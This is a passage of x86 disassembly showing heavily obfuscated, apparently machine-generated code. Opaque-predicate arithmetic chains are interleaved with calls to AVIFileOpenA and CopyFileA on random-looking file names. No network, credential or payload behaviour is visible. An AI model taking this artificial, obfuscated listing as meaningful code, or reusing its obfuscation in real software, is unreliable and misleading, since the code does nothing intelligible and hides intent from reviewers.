imul ecx, dword [ebp - 0x18], 0xab
cmp dword [ebp - 0x2264], ecx
je 0x403891
mov dword [ebp - 0x226c], 1
jmp 0x40389b
mov dword [ebp - 0x226c], 0
imul edx, dword [ebp - 0x18], 0x5a
add edx, dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jne 0x4038b3
mov dword [ebp - 0x2270], 1
jmp 0x4038bd
mov dword [ebp - 0x2270], 0
mov eax, dword [ebp - 0x18]
add eax, 0x66
cmp dword [ebp - 0x18], eax
je 0x4038d4
mov dword [ebp - 0x2268], 1
jmp 0x4038de
mov dword [ebp - 0x2268], 0
imul ecx, dword [ebp - 0x18], 0x96
add ecx, dword [ebp - 0x18]
cmp dword [ebp - 0x2268], ecx
je 0x4038fc
mov dword [ebp - 0x2274], 1
jmp 0x403906
mov dword [ebp - 0x2274], 0
mov edx, dword [ebp - 0x226c]
xor edx, 0xc2
xor edx, dword [ebp - 0x2270]
imul eax, dword [ebp - 0x18], 0xc0
imul eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x2274]
imul ecx, dword [ebp - 0x18], 0xd8
xor eax, ecx
or edx, eax
mov dword [ebp - 0x1134], edx
mov edx, dword [ebp - 0x1134]
add edx, dword [ebp - 0x1134]
and edx, 1
or edx, 1
mov dword [ebp - 0x1134], edx
push 0
mov eax, dword [ebp - 0x1134]
push eax
mov ecx, dword [ebp - 0x723c]
push ecx
lea edx, [ebp - 0x93d4]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0
je 0x404811
mov dword [ebp - 0x7240], str.fVhgcpY1DGATMncqz2YPJp4h7WP
mov dword [ebp - 0x7244], str.LdKdIyIzPf2PDGkO2rBRAL
mov eax, 0x86
sub eax, dword [ebp - 0x614]
add eax, 0x6a
sub eax, dword [ebp - 0x614]
cmp eax, dword [ebp - 0x614]
je 0x4039bd
mov dword [ebp - 0x227c], 1
jmp 0x4039c7
mov dword [ebp - 0x227c], 0
cmp dword [ebp - 0x614], 0xf2
jne 0x4039df
mov dword [ebp - 0x2278], 1
jmp 0x4039e9
mov dword [ebp - 0x2278], 0
cmp dword [ebp - 0x2278], 0x7b
jne 0x4039fe
mov dword [ebp - 0x2280], 1
jmp 0x403a08
mov dword [ebp - 0x2280], 0
mov ecx, dword [ebp - 0x227c]
and ecx, 0x1f
mov edx, dword [ebp - 0x614]
sub edx, 0x52
add edx, dword [ebp - 0x614]
and ecx, edx
or ecx, dword [ebp - 0x614]
mov eax, dword [ebp - 0x614]
and eax, dword [ebp - 0x614]
xor eax, dword [ebp - 0x2280]
or ecx, eax
mov dword [ebp - 0x390], ecx
mov ecx, dword [ebp - 0x390]
neg ecx
xor ecx, dword [ebp - 0x390]
and ecx, 1
add ecx, 1
mov dword [ebp - 0x390], ecx
mov edx, dword [ebp - 0x390]
add edx, 1
mov dword [ebp - 0x390], edx
mov eax, dword [ebp - 0x390]
add eax, 1
mov dword [ebp - 0x390], eax
mov ecx, dword [ebp - 0x390]
push ecx
mov edx, dword [ebp - 0x7240]
push edx
mov eax, dword [ebp - 0x7244]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0
je 0x403e49
mov dword [ebp - 0x7248], str.79twEuItvD3kSk8ncp1kgAfPb6t9E
cmp dword [ebp - 0x394], 0xd9
je 0x403aca
mov dword [ebp - 0x2288], 1
jmp 0x403ad4
mov dword [ebp - 0x2288], 0
cmp dword [ebp - 0x394], 0x7e
jne 0x403ae9
mov dword [ebp - 0x2284], 1
jmp 0x403af3
mov dword [ebp - 0x2284], 0
mov ecx, dword [ebp - 0x2284]
cmp ecx, dword [ebp - 0x394]
je 0x403b0d
mov dword [ebp - 0x228c], 1
jmp 0x403b17
mov dword [ebp - 0x228c], 0
cmp dword [ebp - 0x394], 0x76
je 0x403b2c
mov dword [ebp - 0x2290], 1
jmp 0x403b36
mov dword [ebp - 0x2290], 0
cmp dword [ebp - 0x394], 0x9e
je 0x403b4e
mov dword [ebp - 0x2294], 1
jmp 0x403b58
mov dword [ebp - 0x2294], 0
mov edx, dword [ebp - 0x394]
add edx, 0x56
cmp dword [ebp - 0x394], edx
je 0x403b75
mov dword [ebp - 0x2298], 1
jmp 0x403b7f
mov dword [ebp - 0x2298], 0
mov eax, dword [ebp - 0x394]
xor eax, dword [ebp - 0x2288]
or eax, dword [ebp - 0x228c]
mov ecx, dword [ebp - 0x2290]
xor ecx, dword [ebp - 0x2294]
xor ecx, dword [ebp - 0x394]
or eax, ecx
imul edx, dword [ebp - 0x394], 0x70
imul edx, dword [ebp - 0x394]
or eax, edx
or eax, dword [ebp - 0x2298]
mov dword [ebp - 0x1138], eax
mov eax, dword [ebp - 0x1138]
add eax, dword [ebp - 0x1138]
and eax, 1
or eax, 3
mov dword [ebp - 0x1138], eax
push 0
mov ecx, dword [ebp - 0x1138]
push ecx
mov edx, dword [ebp - 0x7248]
push edx
lea eax, [ebp - 0x93d8]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0
je 0x403d02
mov dword [ebp - 0x724c], str.SWX9ml
cmp dword [ebp - 0x53c], 0x11
jne 0x403c27
mov dword [ebp - 0x229c], 1
jmp 0x403c31
mov dword [ebp - 0x229c], 0
imul ecx, dword [ebp - 0x53c], 0xd8
add ecx, dword [ebp - 0x53c]
cmp dword [ebp - 0x229c], ecx
jne 0x403c55
mov dword [ebp - 0x22a0], 1
jmp 0x403c5f
mov dword [ebp - 0x22a0], 0
mov edx, dword [ebp - 0x53c]
sub edx, 0x80
mov eax, dword [ebp - 0x22a0]
and eax, 0xb7
xor eax, dword [ebp - 0x53c]
xor eax, dword [ebp - 0x53c]
xor eax, 0xd7
or edx, eax
mov dword [ebp - 0x113c], edx
mov ecx, dword [ebp - 0x113c]
not ecx
cmp ecx, dword [ebp - 0x113c]
jne 0x403cab
mov dword [ebp - 0x22a4], 1
jmp 0x403cb5
mov dword [ebp - 0x22a4], 0
mov edx, dword [ebp - 0x22a4]
add edx, 3
mov dword [ebp - 0x113c], edx
push 0
mov eax, dword [ebp - 0x113c]
push eax
mov ecx, dword [ebp - 0x724c]
push ecx
lea edx, [ebp - 0x93dc]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a9c], eax
cmp dword [ebp - 0x1a9c], 0
je 0x403cf1
jmp 0x403d00
mov eax, dword [ebp - 0x1a9c]
add eax, 1
mov dword [ebp - 0x1a9c], eax
jmp 0x403d11
mov ecx, dword [ebp - 0x53c]
add ecx, 1
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x7250], str.dgeFkdFmeGqbsb3mvwHVEpPQ6
mov edx, dword [ebp - 0x53c]
add edx, dword [ebp - 0x53c]
sub edx, 0xd6
add edx, dword [ebp - 0x53c]
cmp edx, dword [ebp - 0x53c]
jne 0x403d47
mov dword [ebp - 0x22ac], 1
jmp 0x403d51
mov dword [ebp - 0x22ac], 0
mov eax, dword [ebp - 0x53c]
imul eax, dword [ebp - 0x53c]
add eax, 0xbc
cmp dword [ebp - 0x53c], eax
jne 0x403d77
mov dword [ebp - 0x22a8], 1
jmp 0x403d81
mov dword [ebp - 0x22a8], 0
mov ecx, dword [ebp - 0x22a8]
cmp ecx, dword [ebp - 0x53c]
jne 0x403d9b
mov dword [ebp - 0x22b0], 1
jmp 0x403da5
mov dword [ebp - 0x22b0], 0
mov edx, dword [ebp - 0x22ac]
and edx, dword [ebp - 0x53c]
and edx, dword [ebp - 0x22b0]
xor edx, 0x87
imul eax, dword [ebp - 0x53c], 0x99
sub eax, dword [ebp - 0x53c]
and eax, 0xb6
mov ecx, dword [ebp - 0x53c]
add ecx, 0x48
and eax, ecx
xor edx, eax
or edx, dword [ebp - 0x53c]
mov dword [ebp - 0x1140], edx
mov edx, dword [ebp - 0x1140]
neg edx
xor edx, dword [ebp - 0x1140]
and edx, 1
add edx, 1
imul eax, edx, 0
mov dword [ebp - 0x1140], eax
push 0
mov ecx, dword [ebp - 0x1140]
push ecx
mov edx, dword [ebp - 0x7250]
push edx
lea eax, [ebp - 0x93e0]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1aa0], eax
cmp dword [ebp - 0x1aa0], 0
je 0x403e35
jmp 0x403e44
mov ecx, dword [ebp - 0x1aa0]
add ecx, 1
mov dword [ebp - 0x1aa0], ecx
jmp 0x404419
mov dword [ebp - 0x7254], str.IGTLr6ogpICd1QyMaEfZy5iP
mov dword [ebp - 0x7258], str.EoMxP0EJfVlHzyyzraZHKbOjBggH
cmp dword [ebp - 0x390], 0x61
je 0x403e72
mov dword [ebp - 0x22bc], 1
jmp 0x403e7c
mov dword [ebp - 0x22bc], 0
cmp dword [ebp - 0x390], 0xf8
jne 0x403e94
mov dword [ebp - 0x22c0], 1
jmp 0x403e9e
mov dword [ebp - 0x22c0], 0
mov edx, dword [ebp - 0x390]
sub edx, dword [ebp - 0x390]
cmp edx, dword [ebp - 0x390]
je 0x403ebe
mov dword [ebp - 0x22b4], 1
jmp 0x403ec8
mov dword [ebp - 0x22b4], 0
mov eax, dword [ebp - 0x390]
add eax, dword [ebp - 0x390]
cmp dword [ebp - 0x22b4], eax
je 0x403ee8
mov dword [ebp - 0x22b8], 1
jmp 0x403ef2
mov dword [ebp - 0x22b8], 0
cmp dword [ebp - 0x22b8], 0x51
jne 0x403f07
mov dword [ebp - 0x22c4], 1
jmp 0x403f11
mov dword [ebp - 0x22c4], 0
mov ecx, dword [ebp - 0x390]
cmp ecx, dword [ebp - 0x390]
je 0x403f2b
mov dword [ebp - 0x22c8], 1
jmp 0x403f35
mov dword [ebp - 0x22c8], 0
mov edx, dword [ebp - 0x390]
or edx, dword [ebp - 0x22bc]
mov eax, dword [ebp - 0x390]
xor eax, dword [ebp - 0x22c0]
mov ecx, dword [ebp - 0x390]
add ecx, dword [ebp - 0x390]
imul esi, dword [ebp - 0x390], 0xca
add ecx, esi
imul esi, dword [ebp - 0x390], 0x62
and ecx, esi
xor eax, ecx
mov ecx, dword [ebp - 0x22c4]
and ecx, dword [ebp - 0x22c8]
xor eax, ecx
xor eax, dword [ebp - 0x390]
or edx, eax
mov dword [ebp - 0xa58], edx
mov edx, dword [ebp - 0xa58]
neg edx
xor edx, dword [ebp - 0xa58]
and edx, 1
or edx, 1
mov dword [ebp - 0xa58], edx
mov eax, dword [ebp - 0xa58]
add eax, 1
mov dword [ebp - 0xa58], eax
mov ecx, dword [ebp - 0xa58]
add ecx, 1
mov dword [ebp - 0xa58], ecx
mov edx, dword [ebp - 0xa58]
push edx
mov eax, dword [ebp - 0x7254]
push eax
mov ecx, dword [ebp - 0x7258]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0
je 0x40411b
mov dword [ebp - 0x725c], str.AX01ppgFjHgAMu7mo4Q9Chvf
mov dword [ebp - 0x7260], str.H0hdg65dPQBV2p1MW425uMkGnvNxt
imul edx, dword [ebp - 0x468], 0x86
sub edx, 0xa3
cmp dword [ebp - 0x468], edx
je 0x40402a
mov dword [ebp - 0x22cc], 1
jmp 0x404034
mov dword [ebp - 0x22cc], 0
mov eax, dword [ebp - 0x468]
cmp eax, dword [ebp - 0x468]
jne 0x40404e
mov dword [ebp - 0x22d0], 1
jmp 0x404058
mov dword [ebp - 0x22d0], 0
imul ecx, dword [ebp - 0x468], 0xbf
imul ecx, dword [ebp - 0x468]
add ecx, dword [ebp - 0x468]
and ecx, 0x9b
mov edx, dword [ebp - 0x22cc]
and edx, dword [ebp - 0x22d0]
or ecx, edx
or ecx, dword [ebp - 0x468]
mov eax, dword [ebp - 0x468]
add eax, dword [ebp - 0x468]
sub eax, 0xd8
or ecx, eax
mov dword [ebp - 0xb48], ecx
mov ecx, dword [ebp - 0xb48]
not ecx
cmp ecx, dword [ebp - 0xb48]
jne 0x4040be
mov dword [ebp - 0x22d4], 1
jmp 0x4040c8
mov dword [ebp - 0x22d4], 0
mov edx, dword [ebp - 0x22d4]
or edx, 1
mov dword [ebp - 0xb48], edx
mov eax, dword [ebp - 0xb48]
add eax, 1
mov dword [ebp - 0xb48], eax
mov ecx, dword [ebp - 0xb48]
add ecx, 1
mov dword [ebp - 0xb48], ecx
mov edx, dword [ebp - 0xb48]
push edx
mov eax, dword [ebp - 0x725c]
push eax
mov ecx, dword [ebp - 0x7260]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7264], eax
jmp 0x404213
mov dword [ebp - 0x7268], str.n4cEvwXNgwI55XU6eNFKOGy9Z
cmp dword [ebp - 0xa58], 0x69
jne 0x40413a
mov dword [ebp - 0x22d8], 1
jmp 0x404144
mov dword [ebp - 0x22d8], 0
mov edx, dword [ebp - 0xa58]
cmp edx, dword [ebp - 0xa58]
je 0x40415e
mov dword [ebp - 0x22dc], 1
jmp 0x404168
mov dword [ebp - 0x22dc], 0
mov eax, dword [ebp - 0xa58]
add eax, dword [ebp - 0xa58]
xor eax, dword [ebp - 0xa58]
xor eax, dword [ebp - 0xa58]
mov ecx, dword [ebp - 0x22d8]
and ecx, 0x49
or eax, ecx
mov edx, dword [ebp - 0xa58]
and edx, 0x6d
xor edx, dword [ebp - 0x22dc]
or eax, edx
mov dword [ebp - 0x1144], eax
mov eax, dword [ebp - 0x1144]
not eax
cmp eax, dword [ebp - 0x1144]
jne 0x4041be
mov dword [ebp - 0x22e0], 1
jmp 0x4041c8
mov dword [ebp - 0x22e0], 0
mov ecx, dword [ebp - 0x22e0]
or ecx, 1
mov dword [ebp - 0x1144], ecx
push 0
mov edx, dword [ebp - 0x1144]
push edx
mov eax, dword [ebp - 0x7268]
push eax
lea ecx, [ebp - 0x93e4]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1aa4], eax
cmp dword [ebp - 0x1aa4], 0
je 0x404204
jmp 0x404213
mov edx, dword [ebp - 0x1aa4]
add edx, 1
mov dword [ebp - 0x1aa4], edx
mov dword [ebp - 0x726c], str.GspHN7ydyRPvs
mov dword [ebp - 0x7270], str.LNuQ06WlPK4lGSUfxxQOQdqQ
cmp dword [ebp - 0x468], 0x45
jne 0x40423c
mov dword [ebp - 0x22e4], 1
jmp 0x404246
mov dword [ebp - 0x22e4], 0
mov eax, dword [ebp - 0x22e4]
cmp eax, dword [ebp - 0x468]
je 0x404260
mov dword [ebp - 0x22e8], 1
jmp 0x40426a
mov dword [ebp - 0x22e8], 0
mov ecx, dword [ebp - 0x468]
add ecx, 0x29
cmp dword [ebp - 0x22e8], ecx
je 0x404287
mov dword [ebp - 0x22ec], 1
jmp 0x404291
mov dword [ebp - 0x22ec], 0
mov edx, dword [ebp - 0x22ec]
cmp edx, dword [ebp - 0x468]
je 0x4042ab
mov dword [ebp - 0x22f0], 1
jmp 0x4042b5
mov dword [ebp - 0x22f0], 0
cmp dword [ebp - 0x22f0], 0x7d
jne 0x4042ca
mov dword [ebp - 0x22f4], 1
jmp 0x4042d4
mov dword [ebp - 0x22f4], 0
mov eax, dword [ebp - 0x22f4]
cmp eax, dword [ebp - 0x468]
je 0x4042ee
mov dword [ebp - 0x22f8], 1
jmp 0x4042f8
mov dword [ebp - 0x22f8], 0
cmp dword [ebp - 0x468], 0x66
je 0x40430d
mov dword [ebp - 0x22fc], 1
jmp 0x404317
mov dword [ebp - 0x22fc], 0
cmp dword [ebp - 0x468], 0x5a
je 0x40432c
mov dword [ebp - 0x2300], 1
jmp 0x404336
mov dword [ebp - 0x2300], 0
imul ecx, dword [ebp - 0x468], 0xbf
cmp ecx, dword [ebp - 0x468]
je 0x404354
mov dword [ebp - 0x2304], 1
jmp 0x40435e
mov dword [ebp - 0x2304], 0
mov edx, dword [ebp - 0x468]
add edx, 0xd2
mov eax, 0xcb
sub eax, dword [ebp - 0x468]
cmp edx, eax
jne 0x404385
mov dword [ebp - 0x2308], 1
jmp 0x40438f
mov dword [ebp - 0x2308], 0
mov ecx, dword [ebp - 0x22f8]
xor ecx, dword [ebp - 0x468]
mov edx, dword [ebp - 0x22fc]
xor edx, dword [ebp - 0x2300]
mov eax, dword [ebp - 0x2304]
and eax, dword [ebp - 0x2308]
xor edx, eax
xor edx, 0x74
or ecx, edx
mov dword [ebp - 0xb4c], ecx
mov ecx, dword [ebp - 0xb4c]
neg ecx
xor ecx, dword [ebp - 0xb4c]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xb4c], ecx
mov edx, dword [ebp - 0xb4c]
add edx, 1
mov dword [ebp - 0xb4c], edx
mov eax, dword [ebp - 0xb4c]
add eax, 1
mov dword [ebp - 0xb4c], eax
mov ecx, dword [ebp - 0xb4c]
push ecx
mov edx, dword [ebp - 0x726c]
push edx
mov eax, dword [ebp - 0x7270]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7274], eax
mov dword [ebp - 0x7278], str.Zg8pQT6
mov ecx, dword [ebp - 0x394]
sub ecx, dword [ebp - 0x394]
mov edx, dword [ebp - 0x394]
add edx, 0xad
cmp ecx, edx
je 0x40444b
mov dword [ebp - 0x230c], 1
jmp 0x404455
mov dword [ebp - 0x230c], 0
mov eax, dword [ebp - 0x230c]
cmp eax, dword [ebp - 0x394]
jne 0x40446f
mov dword [ebp - 0x2318], 1
jmp 0x404479
mov dword [ebp - 0x2318], 0
cmp dword [ebp - 0x394], 0x39
jne 0x40448e
mov dword [ebp - 0x2310], 1
jmp 0x404498
mov dword [ebp - 0x2310], 0
mov ecx, dword [ebp - 0x2310]
cmp ecx, dword [ebp - 0x394]
je 0x4044b2
mov dword [ebp - 0x2314], 1
jmp 0x4044bc
mov dword [ebp - 0x2314], 0
mov edx, dword [ebp - 0x394]
and edx, dword [ebp - 0x394]
xor edx, dword [ebp - 0x2314]
mov eax, dword [ebp - 0x394]
sub eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x394]
add ecx, 0xd5
and eax, ecx
xor edx, eax
xor edx, 0x38
xor edx, dword [ebp - 0x394]
or edx, dword [ebp - 0x2318]
mov dword [ebp - 0x1148], edx
mov edx, dword [ebp - 0x1148]
neg edx
xor edx, dword [ebp - 0x1148]
and edx, 1
or edx, 4
mov dword [ebp - 0x1148], edx
push 0
mov eax, dword [ebp - 0x1148]
push eax
mov ecx, dword [ebp - 0x7278]
push ecx
lea edx, [ebp - 0x93e8]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
je 0x404653
mov dword [ebp - 0x727c], str.P8OVsnj5qONmEcb8f1R3lWiMqXJvWyW
imul eax, dword [ebp - 0x2b4], 0xbe
mov ecx, 0xf1
sub ecx, eax
mov edx, dword [ebp - 0x2b4]
sub edx, 0x39
cmp ecx, edx
je 0x40457c
mov dword [ebp - 0x231c], 1
jmp 0x404586
mov dword [ebp - 0x231c], 0
mov eax, dword [ebp - 0x2b4]
and eax, dword [ebp - 0x231c]
imul ecx, dword [ebp - 0x2b4], 0xc7
mov edx, dword [ebp - 0x2b4]
sub edx, ecx
and eax, edx
and eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2b4]
and ecx, 0x80
xor eax, ecx
mov edx, dword [ebp - 0x2b4]
add edx, dword [ebp - 0x2b4]
and edx, dword [ebp - 0x2b4]
or eax, edx
or eax, 0xe
or eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x114c], eax
mov eax, dword [ebp - 0x114c]
not eax
cmp eax, dword [ebp - 0x114c]
jne 0x4045f9
mov dword [ebp - 0x2320], 1
jmp 0x404603
mov dword [ebp - 0x2320], 0
mov ecx, dword [ebp - 0x2320]
add ecx, 1
shl ecx, 2
mov dword [ebp - 0x114c], ecx
push 0
mov edx, dword [ebp - 0x114c]
push edx
mov eax, dword [ebp - 0x727c]
push eax
lea ecx, [ebp - 0x93ec]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1aa8], eax
cmp dword [ebp - 0x1aa8], 0
je 0x404642
jmp 0x404651
mov edx, dword [ebp - 0x1aa8]
add edx, 1
mov dword [ebp - 0x1aa8], edx
jmp 0x404662
mov eax, dword [ebp - 0x2b4]
add eax, 1
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x7280], str.5qjO8SsWSeb2iO2ZjVCrD
mov ecx, 0x58
sub ecx, dword [ebp - 0x2b4]
cmp dword [ebp - 0x2b4], ecx
jne 0x40468b
mov dword [ebp - 0x2324], 1
jmp 0x404695
mov dword [ebp - 0x2324], 0
mov edx, dword [ebp - 0x2b4]
add edx, dword [ebp - 0x2b4]
cmp dword [ebp - 0x2324], edx
jne 0x4046b5
mov dword [ebp - 0x2328], 1
jmp 0x4046bf
mov dword [ebp - 0x2328], 0
mov eax, dword [ebp - 0x2b4]
sub eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x2328], eax
jne 0x4046df
mov dword [ebp - 0x232c], 1
jmp 0x4046e9
mov dword [ebp - 0x232c], 0
cmp dword [ebp - 0x232c], 0xf8
je 0x404701
mov dword [ebp - 0x2334], 1
jmp 0x40470b
mov dword [ebp - 0x2334], 0
mov ecx, dword [ebp - 0x2b4]
shl ecx, 7
cmp ecx, dword [ebp - 0x2b4]
jne 0x404728
mov dword [ebp - 0x2338], 1
jmp 0x404732
mov dword [ebp - 0x2338], 0
cmp dword [ebp - 0x2b4], 0x20
jne 0x404747
mov dword [ebp - 0x2330], 1
jmp 0x404751
mov dword [ebp - 0x2330], 0
mov edx, dword [ebp - 0x2330]
cmp edx, dword [ebp - 0x2b4]
jne 0x40476b
mov dword [ebp - 0x233c], 1
jmp 0x404775
mov dword [ebp - 0x233c], 0
mov eax, dword [ebp - 0x2334]
and eax, dword [ebp - 0x2b4]
xor eax, dword [ebp - 0x2338]
or eax, dword [ebp - 0x233c]
mov dword [ebp - 0x1150], eax
mov ecx, dword [ebp - 0x1150]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1150]
and edx, 1
cmp ecx, edx
je 0x4047b7
mov dword [ebp - 0x2340], 1
jmp 0x4047c1
mov dword [ebp - 0x2340], 0
mov eax, dword [ebp - 0x2340]
add eax, 1
imul ecx, eax, 0
mov dword [ebp - 0x1150], ecx
push 0
mov edx, dword [ebp - 0x1150]
push edx
mov eax, dword [ebp - 0x7280]
push eax
lea ecx, [ebp - 0x93f0]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1aac], eax
cmp dword [ebp - 0x1aac], 0
je 0x404800
jmp 0x40480f
mov edx, dword [ebp - 0x1aac]
add edx, 1
mov dword [ebp - 0x1aac], edx
jmp 0x404820
mov eax, dword [ebp - 0x614]
add eax, 1
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x7284], str.IdQHbh9JRPv0ehZyUeyiAZ
imul ecx, dword [ebp - 0x614], 0xfd
add ecx, dword [ebp - 0x614]
cmp dword [ebp - 0x614], ecx
jne 0x40484e
mov dword [ebp - 0x2344], 1
jmp 0x404858
mov dword [ebp - 0x2344], 0
mov edx, dword [ebp - 0x2344]
cmp edx, dword [ebp - 0x614]
jne 0x404872
mov dword [ebp - 0x2348], 1
jmp 0x40487c
mov dword [ebp - 0x2348], 0
mov eax, dword [ebp - 0x614]
add eax, 0x52
mov ecx, 0xac
sub ecx, dword [ebp - 0x614]
cmp eax, ecx
je 0x4048a0
mov dword [ebp - 0x234c], 1
jmp 0x4048aa
mov dword [ebp - 0x234c], 0
mov edx, 0xde
sub edx, dword [ebp - 0x614]
xor edx, dword [ebp - 0x2348]
or edx, dword [ebp - 0x234c]
mov dword [ebp - 0x1154], edx
mov eax, dword [ebp - 0x1154]
not eax
cmp eax, dword [ebp - 0x1154]
jne 0x4048e3
mov dword [ebp - 0x2350], 1
jmp 0x4048ed
mov dword [ebp - 0x2350], 0
mov ecx, dword [ebp - 0x2350]
or ecx, 5
mov dword [ebp - 0x1154], ecx
push 0
mov edx, dword [ebp - 0x1154]
push edx
mov eax, dword [ebp - 0x7284]
push eax
lea ecx, [ebp - 0x93f4]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0
je 0x404d6c
mov dword [ebp - 0x7288], str.eWqgx1pD3X3iMY6X8B7NKSwlrXUTQ
mov dword [ebp - 0x728c], str.Mkda3sEMN5HDNW
cmp dword [ebp - 0x2b8], 0x77
jne 0x404954
mov dword [ebp - 0x2354], 1
jmp 0x40495e
mov dword [ebp - 0x2354], 0
mov edx, dword [ebp - 0x2b8]
imul edx, dword [ebp - 0x2b8]
mov eax, 0xb1
sub eax, edx
cmp eax, dword [ebp - 0x2b8]
je 0x404986
mov dword [ebp - 0x2358], 1
jmp 0x404990
mov dword [ebp - 0x2358], 0
imul ecx, dword [ebp - 0x2b8], 0x87
mov edx, dword [ebp - 0x2b8]
sub edx, ecx
and edx, dword [ebp - 0x2354]
imul eax, dword [ebp - 0x2b8], 0x9c
xor edx, eax
mov ecx, dword [ebp - 0x2b8]
xor ecx, 0xd6
or edx, ecx
or edx, dword [ebp - 0x2358]
mov dword [ebp - 0xa5c], edx
mov edx, dword [ebp - 0xa5c]
add edx, dword [ebp - 0xa5c]
and edx, 1
or edx, 1
mov dword [ebp - 0xa5c], edx
mov eax, dword [ebp - 0xa5c]
add eax, 1
mov dword [ebp - 0xa5c], eax
mov ecx, dword [ebp - 0xa5c]
add ecx, 1
mov dword [ebp - 0xa5c], ecx
mov edx, dword [ebp - 0xa5c]
push edx
mov eax, dword [ebp - 0x7288]
push eax
mov ecx, dword [ebp - 0x728c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
je 0x404b80
mov dword [ebp - 0x7290], str.IrrrU22lJDoNLiFehLCocb0ir9FbO6u
mov dword [ebp - 0x7294], str.u6f2TEzozc2oUDc4LQuT
imul edx, dword [ebp - 0x15c], 0x4d
imul edx, dword [ebp - 0x15c]
sub edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x15c]
imul eax, dword [ebp - 0x15c]
cmp edx, eax
je 0x404a77
mov dword [ebp - 0x235c], 1
jmp 0x404a81
mov dword [ebp - 0x235c], 0
mov ecx, dword [ebp - 0x15c]
sub ecx, dword [ebp - 0x15c]
cmp dword [ebp - 0x15c], ecx
je 0x404aa1
mov dword [ebp - 0x2360], 1
jmp 0x404aab
mov dword [ebp - 0x2360], 0
mov edx, dword [ebp - 0x235c]
and edx, 0x20
mov eax, dword [ebp - 0x15c]
add eax, 0x6d
sub eax, dword [ebp - 0x15c]
xor edx, eax
mov ecx, dword [ebp - 0x15c]
and ecx, 0x22
xor edx, ecx
xor edx, 0x15
or edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x15c]
add eax, dword [ebp - 0x15c]
and eax, dword [ebp - 0x15c]
and eax, dword [ebp - 0x15c]
or edx, eax
or edx, dword [ebp - 0x2360]
mov dword [ebp - 0xb50], edx
mov ecx, dword [ebp - 0xb50]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xb50]
and edx, 1
cmp ecx, edx
je 0x404b23
mov dword [ebp - 0x2364], 1
jmp 0x404b2d
mov dword [ebp - 0x2364], 0
mov eax, dword [ebp - 0x2364]
add eax, 1
mov dword [ebp - 0xb50], eax
mov ecx, dword [ebp - 0xb50]
add ecx, 1
mov dword [ebp - 0xb50], ecx
mov edx, dword [ebp - 0xb50]
add edx, 1
mov dword [ebp - 0xb50], edx
mov eax, dword [ebp - 0xb50]
push eax
mov ecx, dword [ebp - 0x7290]
push ecx
mov edx, dword [ebp - 0x7294]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7298], eax
jmp 0x404c2d
mov dword [ebp - 0x729c], str.adACggjZeRrQr7Wo
imul eax, dword [ebp - 0xa5c], 0xa2
mov ecx, 0x9a
sub ecx, eax
and ecx, dword [ebp - 0xa5c]
imul edx, dword [ebp - 0xa5c], 0x29
add edx, dword [ebp - 0xa5c]
or ecx, edx
mov eax, dword [ebp - 0xa5c]
add eax, 0x13
imul edx, dword [ebp - 0xa5c], 0x1a
and edx, dword [ebp - 0xa5c]
xor eax, edx
or ecx, eax
or ecx, 0x70
or ecx, dword [ebp - 0xa5c]
mov dword [ebp - 0x1158], ecx
mov eax, dword [ebp - 0x1158]
add eax, dword [ebp - 0x1158]
and eax, 1
or eax, 1
mov dword [ebp - 0x1158], eax
push 0
mov ecx, dword [ebp - 0x1158]
push ecx
mov edx, dword [ebp - 0x729c]
push edx
lea eax, [ebp - 0x93f8]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ab0], eax
cmp dword [ebp - 0x1ab0], 0
je 0x404c1e
jmp 0x404c2d
mov ecx, dword [ebp - 0x1ab0]
add ecx, 1
mov dword [ebp - 0x1ab0], ecx
mov dword [ebp - 0x72a0], str.m3gxTzKPmdonJunpEzc2rEFRT7vJ
mov dword [ebp - 0x72a4], str.wOnSrUf6yXAOvIaN
cmp dword [ebp - 0x15c], 0x28
je 0x404c56
mov dword [ebp - 0x2368], 1
jmp 0x404c60
mov dword [ebp - 0x2368], 0
mov edx, dword [ebp - 0x2368]
cmp edx, dword [ebp - 0x15c]
je 0x404c7a
mov dword [ebp - 0x236c], 1
jmp 0x404c84
mov dword [ebp - 0x236c], 0
mov eax, dword [ebp - 0x15c]
add eax, dword [ebp - 0x15c]
cmp eax, 0x14
je 0x404ca1
mov dword [ebp - 0x2370], 1
jmp 0x404cab
